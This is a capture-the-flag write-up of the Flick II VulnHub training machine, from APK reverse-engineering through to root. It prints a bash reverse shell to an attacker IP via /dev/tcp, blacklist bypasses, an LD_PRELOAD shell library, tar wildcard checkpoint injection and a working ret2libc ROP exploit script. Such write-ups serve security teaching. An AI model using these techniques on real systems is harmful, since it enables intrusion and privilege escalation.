published on in writeup
tags: flick

Flick II: The Flickening

After the success of Flick: I, @leonjza decided that VulnHub needed a fresh dose of pain and suffering. Flick: II is a vulnerable machine with a mobile twist - it requires the attacker to wrestle with a custom Android application to breach the VM. I was more than complimentary about it on Twitter - it’s definitely worth checking out.

HTTPS

After a bit of port scanning we find that only port 443 is open.

[email protected]:~# curl -v -k https://192.168.56.102

> GET / HTTP/1.1
> User-Agent: curl/7.38.0
> Host: 192.168.56.102
> Accept: */*
> 
< HTTP/1.1 200 OK
* Server nginx/1.6.3 is not blacklisted
< Server: nginx/1.6.3
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.6.10
< Cache-Control: no-cache
< Date: Tue, 08 Sep 2015 17:54:20 GMT
< 
* Connection #0 to host 192.168.56.102 left intact
["Server Checker"]

My usual enumeration techniques (nikto, dirbuster etc) didn’t turn up anything except a readable .htaccess file and an ammusing ping/pong.

[email protected]:~# curl -k https://192.168.56.102/ping/
{"response":"pong"}

Time to have a look at the Android application.

APK

I used the Android Studio emulator to run the application. After creating an AVD in the Studio, I wrote the following BAT files.

# This starts the emulator with Nexus AVD
"D:\Program Files\Android\sdk\tools\emulator.exe" -netdelay none -netspeed full -avd Nexus_5_API_23_x86

# This loads the APK into the running emulator (wait for emu to fully start)
"D:\Program Files\Android\sdk\platform-tools\adb.exe" install C:\Users\Rasta\Desktop\flick-check-dist.apk

Once up and running, the emulator looks a little something like this. First, enter the IP address of the VM.

The application seems to go through some sort of handshake process, then you will be presented with possible commands to run.

I spent some time trying to proxy the traffic through Burp, in case the application wasn’t too fussy about which certificate it would accept. But ultimately this proved a bit too fiddly to get working and I couldn’t force the emulator to honour the system proxy. This might be an area I could investigate in the near future, but to solve the VM I decided to disassemble the .apk back into its source code.

I used an online service for this - upload the apk and download the disassembled ZIP file.

[email protected]:~/flick2/src/com/flick/flickcheck# ls -l
total 296
-rw-r--r-- 1 root root   598 Sep  8 17:20 BuildConfig.java
-rw-r--r-- 1 root root   598 Sep  8 17:20 CallApi$1.java
-rw-r--r-- 1 root root  2698 Sep  8 17:20 CallApi.java
-rw-r--r-- 1 root root   311 Sep  8 17:20 CommandActivity$1.java
-rw-r--r-- 1 root root   612 Sep  8 17:20 CommandActivity$CallAPI$1.java
-rw-r--r-- 1 root root  3480 Sep  8 17:20 CommandActivity$CallAPI.java
-rw-r--r-- 1 root root  9419 Sep  8 17:20 CommandActivity.java
-rw-r--r-- 1 root root  2070 Sep  8 17:20 CommandActivity$SSHCommand.java
-rw-r--r-- 1 root root   631 Sep  8 17:20 DoRegisterActivity$1.java
-rw-r--r-- 1 root root   615 Sep  8 17:20 DoRegisterActivity$CallAPI$1.java
-rw-r--r-- 1 root root  4033 Sep  8 17:20 DoRegisterActivity$CallAPI.java
-rw-r--r-- 1 root root  6369 Sep  8 17:20 DoRegisterActivity.java
-rw-r--r-- 1 root root   308 Sep  8 17:20 MainActivity$1.java
-rw-r--r-- 1 root root   609 Sep  8 17:20 MainActivity$CallAPI$1.java
-rw-r--r-- 1 root root  3391 Sep  8 17:20 MainActivity$CallAPI.java
-rw-r--r-- 1 root root  5146 Sep  8 17:20 MainActivity.java
-rw-r--r-- 1 root root  2901 Sep  8 17:20 PubKeyManager.java
-rw-r--r-- 1 root root   836 Sep  8 17:20 R$anim.java
-rw-r--r-- 1 root root 10526 Sep  8 17:20 R$attr.java
-rw-r--r-- 1 root root   820 Sep  8 17:20 R$bool.java
-rw-r--r-- 1 root root  4597 Sep  8 17:20 R$color.java
-rw-r--r-- 1 root root  4077 Sep  8 17:20 R$dimen.java
-rw-r--r-- 1 root root  4367 Sep  8 17:20 R$drawable.java
-rw-r--r-- 1 root root  2199 Sep  8 17:20 ReadApiServerActivity.java
-rw-r--r-- 1 root root   312 Sep  8 17:20 RegisterActivity$1.java
-rw-r--r-- 1 root root   613 Sep  8 17:20 RegisterActivity$CallAPI$1.java
-rw-r--r-- 1 root root  3750 Sep  8 17:20 RegisterActivity$CallAPI.java
-rw-r--r-- 1 root root  6057 Sep  8 17:20 RegisterActivity.java
-rw-r--r-- 1 root root  4741 Sep  8 17:20 R$id.java
-rw-r--r-- 1 root root   545 Sep  8 17:20 R$integer.java
-rw-r--r-- 1 root root 77594 Sep  8 17:20 R.java
-rw-r--r-- 1 root root  2240 Sep  8 17:20 R$layout.java
-rw-r--r-- 1 root root   623 Sep  8 17:20 R$menu.java
-rw-r--r-- 1 root root   392 Sep  8 17:20 R$mipmap.java
-rw-r--r-- 1 root root  2078 Sep  8 17:20 R$string.java
-rw-r--r-- 1 root root 20104 Sep  8 17:20 R$styleable.java
-rw-r--r-- 1 root root 20526 Sep  8 17:20 R$style.java

There is a lot of content to go through, I used grep to find strings that I thought would be interesting. Ultimately, I was able to work out how the application worked, which I have summerised in the following diagram.

  • The client submits a POST request to /register/new with a UUID it wishes to register. The apk has a rather elaborate method of generating a UUID, but I found you can specify any string.

  • The server will respond to the client with an ok message and a ‘token’.

[email protected]:~# curl -k https://192.168.56.102/register/new -H 'Content-Type: application/json' -d '{"uuid":"rasta"}'
{"registered":"ok","message":"The requested UUID is now registered.","token":"xgpzOLUyJ45ExFnfalEDESLjgb6drGj3"}
  • The client submits a GET request to /do/cmd/ to specify a command to run (the command must also be base64 encoded). It must also specify its uuid and token in the header. Note that the name of the fields also differ slightly.

  • The server will respond with the output of the specified command.

[email protected]:~# curl -k https://192.168.56.102/do/cmd/$(echo -en 'id' | base64) -H 'Content-Type: application/json' -H 'X-UUID: rasta' -H 'X-Token: xgpzOLUyJ45ExFnfalEDESLjgb6drGj3'
{"status":"ok","command":"id","output":"uid=998(nginx) gid=997(nginx) groups=997(nginx)\n"}

We soon find that there are some blacklisted commands.

[email protected]:~# curl -k https://192.168.56.102/do/cmd/$(echo -en 'ls' | base64) -H 'Content-Type: application/json' -H 'X-UUID: rasta' -H 'X-Token: xgpzOLUyJ45ExFnfalEDESLjgb6drGj3'
{"status":"error","output":"Command 'ls' contains a banned command."}

But it’s possible to bypass this by using full paths.

[email protected]:~# curl -k https://192.168.56.102/do/cmd/$(echo -en '/bin/ls' | base64) -H 'Content-Type: application/json' -H 'X-UUID: rasta' -H 'X-Token: xgpzOLUyJ45ExFnfalEDESLjgb6drGj3'
{"status":"ok","command":"\/bin\/ls","output":"index.php\n"}

Time to get that shell - a simple bash reverse shell will do the trick.

[email protected]:~# curl -k https://192.168.56.102/do/cmd/$(echo -en '/bin/bash -i >& /dev/tcp/192.168.56.101/4444 0>&1' | base64) -H 'Content-Type: application/json' -H 'X-UUID: rasta' -H 'X-Token: xgpzOLUyJ45ExFnfalEDESLjgb6drGj3'

[email protected]:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 45976
bash: no job control in this shell
bash-4.2$ id
uid=998(nginx) gid=997(nginx) groups=997(nginx)

Robin

The apk has an advertised capability to execute commands over SSH as well as HTTPS. But since SSH doesn’t seem to be enabled on the VM, this doesn’t work. However, there is functional code within the application to establish an SSH connection, but the credentials are rather obscure.

public CommandActivity()
    {
        integrity_check = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ==";
    }

    private static String validate(String s)
    {
        char ac[] = new char[31];
        char[] _tmp = ac;
        ac[0] = 'T';
        ac[1] = 'h';
        ac[2] = 'i';
        ac[3] = 's';
        ac[4] = ' ';
        ac[5] = 'i';
        ac[6] = 's';
        ac[7] = ' ';
        ac[8] = 'a';
        ac[9] = ' ';
        ac[10] = 's';
        ac[11] = 'u';
        ac[12] = 'p';
        ac[13] = 'e';
        ac[14] = 'r';
        ac[15] = ' ';
        ac[16] = 's';
        ac[17] = 'e';
        ac[18] = 'c';
        ac[19] = 'r';
        ac[20] = 'e';
        ac[21] = 't';
        ac[22] = ' ';
        ac[23] = 'm';
        ac[24] = 'e';
        ac[25] = 's';
        ac[26] = 's';
        ac[27] = 'a';
        ac[28] = 'g';
        ac[29] = 'e';
        ac[30] = '!';
        StringBuilder stringbuilder = new StringBuilder();
        for (int i = 0; i < s.length(); i++)
        {
            stringbuilder.append((char)(s.charAt(i) ^ ac[i % ac.length]));
        }

        return stringbuilder.toString();
    }

The SSH password is the result of YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ== XOR’d with This is a super secret message!.

The username is specified in friendly plaintext.

obj = (new JSch()).getSession("robin", ((String) (obj)), 22);

Some jiggery-pokery to XOR it back…

#!/usr/bin/env python

import sys

xor1 = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ==".decode('base64')
xor2 = "This is a super secret message!"

for r in range(len(xor1)):
        sys.stdout.write(chr(ord(xor1[r]) ^ ord(xor2[r % len(xor2)])))
[email protected]:~# ./xor.py 
40373df4b7a1f413af61cf7fd06d03a565a51898

Because SSH is disabled, we can’t gain access that way. But since we have a shell, we can su.

bash-4.2$ su robin
Password: 40373df4b7a1f413af61cf7fd06d03a565a51898

python -c 'import pty; pty.spawn("/bin/bash")'

[[email protected] ~]$ id     
uid=1000(robin) gid=1000(robin) groups=1000(robin)

Bryan

[[email protected] ~]$ ls -l
-rw-r--r-- 1 robin robin 1617 Jul 23 21:35 debug.gpg

[[email protected] ~]$ cat debug.gpg
cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD")                                                                                          = nil
rand()                                                                                                        = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4)                                                   = 22
__cxa_finalize(0x555555754e00, 0, 0, 1)                                                                       = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
[[email protected] ~]$ sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

Matching Defaults entries for robin on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
    (bryan) /usr/local/bin/dice

So we have some debugging information and the ability to run dice as bryan. Running the binary outputs a random number (undoubtedly from the rand() function).

[[email protected] ~]$ /usr/local/bin/dice
Dice said: 1804289383

We can also make the following observations: getenv("LD_PRELOAD") in the trace and env_keep+=LD_PRELOAD enabled in sudo. This looks like we could pull off an LD_PRELOAD trick - by writing our own shared library to replace the rand() call. Stub out the getenv function in the binary, then specify our own when running sudo.

We can test this by forcing dice to return a fixed value, rather than a random one.

char *getenv(const char *name){
	return 0;
}

int rand(){
	return 4444;
}
[[email protected] ~]$ gcc -fPIC -shared rand.c -o /tmp/rand.so

[[email protected] ~]$ sudo -u bryan LD_PRELOAD=/tmp/rand.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

Dice said: 4444

Replace 4444 with something more useful…

int rand(){
        system("/bin/bash");
        return 0;
}
[[email protected] ~]$ sudo -u bryan LD_PRELOAD=/tmp/rand.so /usr/local/bin/dice
[[email protected] robin]$ id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)

Sean

/usr/local/bin/ actually contains 4 binaries.

-rwsr-x---. 1 sean bryan    8830 Jul  2 18:56 backup
-rwxr-xr-x. 1 root root  1107672 Jun 22 10:20 composer
-rwx--x--x. 1 root root     8830 Jul  2 17:28 dice
-rwsr-x---  1 root sean   866169 Aug 15 11:53 restore

These look like they will serve as our path from robin > sean > root. backup is owned by sean and has suid set.

[[email protected] ~]$ /usr/local/bin/backup
 * Securing environment
 * Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
logs/
logs/.gitignore
logs/lumen.log
 * Backup done!

I transfered this to my kali box for closer inspection.

[email protected]:~# file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=47b4cbc324a3676428e493fddbbe5d22d3e2f55d, not stripped

[email protected]:~# gdb -q backup
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial
gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x00000000000006a0  _init
0x00000000000006d0  [email protected]
0x00000000000006e0  [email protected]
0x00000000000006f0  [email protected]
0x0000000000000700  [email protected]
0x0000000000000710  [email protected]
0x0000000000000720  [email protected]
0x0000000000000730  [email protected]
0x0000000000000740  _start
0x0000000000000770  deregister_tm_clones
0x00000000000007a0  register_tm_clones
0x00000000000007e0  __do_global_dtors_aux
0x0000000000000820  frame_dummy
0x0000000000000858  main
0x00000000000008d0  __libc_csu_init
0x0000000000000940  __libc_csu_fini
0x0000000000000944  _fini
gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000000858 <+0>:	sub    rsp,0x8
   0x000000000000085c <+4>:	mov    edx,0x3ea
   0x0000000000000861 <+9>:	mov    esi,0x3ea
   0x0000000000000866 <+14>:	mov    edi,0x3ea
   0x000000000000086b <+19>:	mov    eax,0x0
   0x0000000000000870 <+24>:	call   0x6e0 <[email protected]>
   0x0000000000000875 <+29>:	mov    edx,0x3ea
   0x000000000000087a <+34>:	mov    esi,0x3ea
   0x000000000000087f <+39>:	mov    edi,0x3ea
   0x0000000000000884 <+44>:	mov    eax,0x0
   0x0000000000000889 <+49>:	call   0x6f0 <[email protected]>
   0x000000000000088e <+54>:	lea    rdi,[rip+0xbf]        # 0x954
   0x0000000000000895 <+61>:	call   0x6d0 <[email protected]>
   0x000000000000089a <+66>:	lea    rdi,[rip+0xdf]        # 0x980
   0x00000000000008a1 <+73>:	call   0x6d0 <[email protected]>
   0x00000000000008a6 <+78>:	lea    rdi,[rip+0xfb]        # 0x9a8
   0x00000000000008ad <+85>:	mov    eax,0x0
   0x00000000000008b2 <+90>:	call   0x700 <[email protected]>
   0x00000000000008b7 <+95>:	lea    rdi,[rip+0xae]        # 0x96c
   0x00000000000008be <+102>:	call   0x6d0 <[email protected]>
   0x00000000000008c3 <+107>:	add    rsp,0x8
   0x00000000000008c7 <+111>:	ret  

Some interesting functions - a setresuid, setresgid and system.

setresuid (ruid=0x3ea, euid=0x3ea, suid=0x3ea)
setresgid (rgid=0x3ea, egid=0x3ea, sgid=0x3ea)
system (line=0x7f8d5f3309a8 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;")

The tell-tale woot woot in this, is the command being passed into system. There is a wildcard: .tar.gz * which is vulnerable to a pretty well documented Tar arbitrary command execution.

[[email protected] bin]$ cd /usr/share/nginx/serverchecker/storage
[[email protected] storage]$ >'--checkpoint=1'
[[email protected] storage]$ >'--checkpoint-action=exec=sh shell.sh'
[[email protected] storage]$ echo '/bin/bash' > shell.sh

[[email protected] storage]$ ls -l

drwxr-xr-x. 2 nginx nginx   23 Jun 22 10:43 app
-rw-rw-r--  1 bryan bryan    0 Sep  8 22:13 --checkpoint=1
-rw-rw-r--  1 bryan bryan    0 Sep  8 22:13 --checkpoint-action=exec=sh shell.sh
-rwxrwxrwx. 1 nginx nginx 6144 Sep  8 20:35 database.sqlite
drwxr-xr-x. 5 nginx nginx   45 Jun 22 10:43 framework
drwxr-xr-x. 2 nginx nginx   39 Jun 22 17:16 logs
-rw-rw-r--  1 bryan bryan   10 Sep  8 22:14 shell.sh

[[email protected] storage]$ /usr/local/bin/backup
/usr/local/bin/backup
 * Securing environment
 * Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
sh-4.2$ id; whoami
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)
sean

Root

Up next is -rwsr-x--- 1 root sean 866169 Aug 15 11:53 restore. Trying to run it as we are results in a fail.

sh-4.2$ ./restore
sh: ./restore: Permission denied

We have to set our group properly with newgrp sean.

bash-4.2$ newgrp sean;
bash: /home/bryan/.bashrc: Permission denied

I think I totally cheated at this point - I went back to bryan and chmodded his home dir and .bashrc file to 777. Then I was able to set my group.

[[email protected] storage]$ id
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)

Notice how my gid is now sean rather than bryan. Now I can execute restore.

[[email protected] ~]$ /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /
/ does not contain a backup.tar.gz file or access was denied

[[email protected] ~]$ cd /tmp
[[email protected] tmp]$ touch backup.tar.gz

[[email protected] tmp]$ /usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: /tmp/
Output directory is: /tmp/
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp/ database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

The command it gives us doesn’t look all that useful, but the binary is kind enough to remind us that we are executing with root privs. As before, I transfered this to my kali box.

[email protected]:~# file restore
restore: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=f8c768078fb1214a9777e6a6a50fef30061716d7, not stripped

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

I able to find what appeard to be a buffer overflow in the second input field.

[email protected]:~# python -c 'print "/root/\n" + "A" * 500' | ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /root/
Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[email protected]:~# python -c 'print "/root/\n" + "A" * 500' > exploit 
[email protected]:~# gdb -q restore
gdb-peda$ r < exploit 

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffd813d71d0 ('A' <repeats 200 times>...)
RBX: 0x400310 (<_init>:	sub    rsp,0x8)
RCX: 0x7ffffdf6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7fe366ca2000 ("Enter the output directory: Output directory is: ", 'A' <repeats 151 times>...)
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd813d7218 ('A' <repeats 200 times>...)
RIP: 0x40101f (<get_out_path+62>:	ret)
R8 : 0x4141414141414141 ('AAAAAAAA')
R9 : 0x4141414141414141 ('AAAAAAAA')
R10: 0x1f4 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>:	push   r14)
R14: 0x4017a0 (<__libc_csu_fini>:	push   rbx)
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401015 <get_out_path+52>:	call   0x402130 <printf>
   0x40101a <get_out_path+57>:	lea    rax,[rbp-0x40]
   0x40101e <get_out_path+61>:	leave  
=> 0x40101f <get_out_path+62>:	ret    
   0x401020 <do_restore>:	push   rbp
   0x401021 <do_restore+1>:	mov    rbp,rsp
   0x401024 <do_restore+4>:	sub    rsp,0x20
   0x401028 <do_restore+8>:	mov    QWORD PTR [rbp-0x18],rdi
[------------------------------------stack-------------------------------------]
0000| 0x7ffd813d7218 ('A' <repeats 200 times>...)
0008| 0x7ffd813d7220 ('A' <repeats 200 times>...)
0016| 0x7ffd813d7228 ('A' <repeats 200 times>...)
0024| 0x7ffd813d7230 ('A' <repeats 200 times>...)
0032| 0x7ffd813d7238 ('A' <repeats 200 times>...)
0040| 0x7ffd813d7240 ('A' <repeats 200 times>...)
0048| 0x7ffd813d7248 ('A' <repeats 200 times>...)
0056| 0x7ffd813d7250 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040101f in get_out_path ()

I found the offset to RIP, using pattern_create & pattern_offset in the Metasploit Framework.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffcf5bc8780 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"...)
RBX: 0x400310 (<_init>:	sub    rsp,0x8)
RCX: 0x7ffffdf6 
RDX: 0x6bf600 --> 0x0 
RSI: 0x7fc6d9cde000 ("Output directory is: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af"...)
RDI: 0x0 
RBP: 0x3363413263413163 ('c1Ac2Ac3')
RSP: 0x7ffcf5bc87c8 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj"...)
RIP: 0x40101f (<get_out_path+62>:	ret)
R8 : 0x7141357141347141 ('Aq4Aq5Aq')
R9 : 0x4136704135704134 ('4Ap5Ap6A')
R10: 0x1f4 
R11: 0x246 
R12: 0x0 
R13: 0x401710 (<__libc_csu_init>:	push   r14)
R14: 0x4017a0 (<__libc_csu_fini>:	push   rbx)
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

gdb-peda$ x/wx $rsp
0x7ffcf5bc87c8:	0x41346341

[email protected]:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41346341
[*] Exact match at offset 72

Test that offset.

[email protected]:~# python -c 'print "/root/\n" + "A" * 72 + "BBBBBB"' > exploit 

gdb-peda$ r < exploit 

Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

With NX enabled, I like to go for a nice ret2libc. So to do that, I first need the address of system.

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x401fd0 <system>

In 64-bit, parameters are passed in registers. So I need to occupy the RDI register with /bin/sh - to do this, I’ll use a ROP gadget to pop (rdi) the string ‘/bin/sh’ from the stack. The string itself is easy enough to find.

gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
restore : 0x492bad --> 0x68732f6e69622f ('/bin/sh')
restore : 0x492d20 --> 0x68732f6e69622f ('/bin/sh')

To find the gadget, I used ropper.

[email protected]:~# ropper --file restore --search "pop rdi"

There’s a perfect instruction here: 0x000000000040167e: pop rdi; ret;.

Now to build the exploit…

#!/usr/bin/env python

from struct import *

buf = ""
buf = "/root/\n"
buf += "A" * 72                         # junk
buf += pack("<Q", 0x000000000040167e)   # pop rdi; ret
buf += pack("<Q", 0x492bad)             # /bin/sh
buf += pack("<Q", 0x0000000000401fd0)   # system

f = open("exploit", "w")
f.write(buf)
[email protected]:~# ./exploit.py 

[email protected]:~# (cat exploit; cat) | ./restore 
Restore tool v0.1
Enter the path to the backup.tar.gz: Path is: /root/

Enter the output directory: Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~@

id
uid=0(root) gid=0(root) groups=0(root)

Seems to work locally… Transfer it across to Flick II (and change /root/ to /tmp/).

[[email protected] tmp]$ ls -l

-rw-rw-r-- 1 sean  sean     0 Sep  8 22:37 backup.tar.gz
-rw-rw-r-- 1 sean  sean   102 Sep  8 23:00 exploit
-rwxrwxr-x 1 sean  sean   274 Sep  8 23:00 exploit.py
-rwxrwxr-x 1 robin robin 8034 Sep  8 22:00 rand.so

[[email protected] tmp]$ (cat exploit; cat) | /usr/local/bin/restore

id; whoami
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)
root

Flag

cat /root/flag

  █████▒██▓     ██▓ ▄████▄   ██ ▄█▀ ██▓ ██▓
▓██   ▒▓██▒    ▓██▒▒██▀ ▀█   ██▄█▒ ▓██▒▓██▒
▒████ ░▒██░    ▒██▒▒▓█    ▄ ▓███▄░ ▒██▒▒██▒
░▓█▒  ░▒██░    ░██░▒▓▓▄ ▄██▒▓██ █▄ ░██░░██░
░▒█░   ░██████▒░██░▒ ▓███▀ ░▒██▒ █▄░██░░██░
 ▒ ░   ░ ▒░▓  ░░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░▓  ░▓  
 ░     ░ ░ ▒  ░ ▒ ░  ░  ▒   ░ ░▒ ▒░ ▒ ░ ▒ ░
 ░ ░     ░ ░    ▒ ░░        ░ ░░ ░  ▒ ░ ▒ ░
           ░  ░ ░  ░ ░      ░  ░    ░   ░  
                   ░                       

 You have successfully completed FlickII!

 I hope you learnt as much as I did while
 making it! Any comments/suggestions etc,
 feel free to catch me on freenode in
 #vulnhub or on twitter @leonjza

Many thanks to leonjza for a brilliant VM - one of my favourites to date. Shout-out to superkojiman for his excellent 64-bit Stack Smashing Tutorial which came in super-handy for this final exercise.